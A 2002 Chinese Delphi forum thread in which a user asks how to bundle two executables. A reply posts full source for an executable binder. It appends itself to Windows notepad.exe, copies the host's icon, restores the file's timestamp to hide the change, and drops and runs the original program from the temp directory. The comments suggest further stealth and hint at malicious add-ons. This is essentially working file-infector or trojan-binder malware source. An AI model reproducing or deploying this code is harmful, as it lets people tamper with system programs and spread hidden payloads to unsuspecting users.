求助：关于文件捆绑的程序(50分)

tsucol · 2002-09-24

我想编写一个相当于文件捆绑的程序，先读入主程序到filestream1,再读附加程序到filestream2,然后追加到filestream1的尾部，再在files steam1的最后写入二个文件相加的size;但是好象不可以哎，文件是变大了，而且照样 执行，但是和主程序没有区别啊，好象附加程序没有启动。

cxz9 · 2002-09-25

{ **********************捆绑执行文件新思维(第二版)********************** 最新功能：与其它程序捆绑后，图标为其它程序的图标 这个示范程序没有form，编译、压缩后仅40K，运行后不长驻内存 如果加上隐藏的窗体，加上搜索可执行程序的功能，加上监视系统的功能，     加上 %$#@*^ 功能... 程序中几个数字的确定： 1  在本程序编译后用Aspack.Exe压缩,大小为41472 2  经过分析，本程序在用Aspack.Exe压缩后，图标前面部分长40751，图标数据    位于从第40752字节开始共640字节，图标后还有81字节 与其它程序捆绑的过程： 本程序的前40751字节+被捆绑程序的图标+本程序最后81字节+被捆绑程序全部 怎么找到图标的位置： 将程序的图标设定为一个32*32的红色块，在程序经过编译、压缩后，用十六进制 编辑软件载入，查找“99 99 99”字符串即可。以后你可为程序加上其它合适的图标。 十六进制编辑软件:常用UltraEdit。 本人嫌它有日期限制，自编了一个，有十六进制编辑、比较、查找功能，并在不断完善中， 对付几百K的文件没问题： http://guanbh.top263.net/download/hexedit.exe } program exe2; uses   classes,   Tlhelp32,   windows,   graphics,   ShellAPI,   SysUtils; {$R *.RES} var   lppe:TProcessEntry32;   found:boolean;   handle:THandle;   ProcessStr,ExeName:string;   WinDir

char; const   MySize=41472; {!!这个值要根据编译或压缩后的文件大小进行修改!!} procedure copy2(s:string); var   s1,s2,IcoStream:TMemoryStream;   File2:TFilestream;   ch:array[0..1] of char;   ss:string;   filetime,fhandle:integer;   l:integer;   File2Icon:Ticon; begin   {若文件s不存在}   if FileExists(s)=False then exit;   try     {若文件不含图标，就不捆绑}     File2Icon:=Ticon.Create;     l:=extracticon(handle,pchar(s),0);     if l=0 then     begin       File2Icon.Free;       exit;     end     else     begin        {提取被捆绑程序图标}        File2Icon.Handle:=extracticon(handle,pchar(s),0);        IcoStream:=TMemoryStream.Create;        File2Icon.SaveToStream(IcoStream);        File2Icon.Free;     end;     {判断文件s中有没有第2个程序头'MZ'。若有，表示已经合并过}     File2:=TFilestream.Create(s,fmopenread);     if File2.Size>MySize then     begin       File2.Position:=MySize;       File2.Read(ch,2);       ss:=copy(ch,1,2);       if ss='MZ' then       begin         File2.Free;         exit;       end;     end;     File2.Free;     {将本文件与文件s合并本文件+s=s}     s2:=TMemoryStream.Create;     s2.loadfromfile(ExeName);     s1:=TMemoryStream.Create;     {     加入本程序的前部40751字节     第40752字节开始共640字节为图标数据     !!以下数字 40751,81要根据实际情况修改!!      }     s1.copyfrom(s2,40751);     {将图标换为被捆绑程序图标,图标大小为766}     IcoStream.Position:=126;     s1.CopyFrom(IcoStream,640);     IcoStream.Free;     s2.Position:=40751+640;     {加入本程序的后部81字节}     s1.CopyFrom(s2,81);     s2.clear;     s2.loadfromfile(s);     s1.seek(s1.size,soFromBeginning);     {加入被捆绑程序全部}     s1.copyfrom(s2,s2.size);     s2.free;     {得到文件s的日期}     fhandle:=FileOpen(s, fmOpenread);     filetime:=filegetdate(fhandle);     fileclose(fhandle);     s1.SaveToFile(s);     {恢复文件s的日期}     fhandle:=FileOpen(s, fmOpenwrite);     filesetdate(fhandle,filetime);     fileclose(fhandle);     s1.free;   except end; end; procedure CreateFileAndRun; var   s1,s2:TMemoryStream;   TempDir

char;   cmdstr:string;   a:integer; Begin   s1:=TMemoryStream.Create;   s1.loadfromfile(ExeName);   if s1.Size=MySize then   begin     s1.Free;     exit;   end;   s1.seek(MySize,soFromBeginning);   s2:=TMemoryStream.Create;   s2.copyfrom(s1,s1.Size-MySize);   GetMem(TempDir,255);   GetTempPath(255,TempDir);   try     {     把文件释放到临时目录。     如果你不想让人看到在这个目录下释放了一堆文件，可改为其它更隐蔽的目录,     如 c:/windows(or winnt)/d...(☆这是个什么目录?你去研究研究吧!☆)     }     s2.SaveToFile(TempDir+'/'+ExtractFileName(ExeName));   except end;     cmdstr:='';     a:=1;     while ParamStr(a)<>'' do begin       cmdstr:=cmdstr+ParamStr(a)+' ';       inc(a);     end;   {运行真正的程序文件}   winexec(pchar(TempDir+'/'+ExtractFileName(ExeName)+' '+cmdstr),SW_SHOW);   freemem(TempDir);   s2.free;   s1.free; end; begin   GetMem(WinDir,255);   GetWindowsDirectory(WinDir,255);   ExeName:=ParamStr(0);   handle:=CreateToolhelp32Snapshot(TH32CS_SNAPALL,0);   found:=Process32First(handle,lppe);   ProcessStr:='';   while found do   begin     ProcessStr:=ProcessStr+lppe.szExeFile;{列出所有进程}     found:=Process32Next(handle,lppe);   end;   {如果notepad没运行，就与它捆在一起}   if pos(WinDir+'/notepad.exe',ProcessStr)=0 then   begin     copy2(WinDir+'/notepad.exe');   end;   {其它需要捆绑的文件   if pos(...,ProcessStr)=0 then   begin     copy2(...);   end;   ...   }   freemem(WinDir);   {   你想用这个程序干点其它的什么...   }   CreateFileAndRun;{释放文件并带参数运行} end.

tsucol · 2002-09-25

接受答案了.

求助：关于文件捆绑的程序(50分)

tsucol

Unregistered / Unconfirmed

cxz9

Unregistered / Unconfirmed

tsucol

Unregistered / Unconfirmed

Similar threads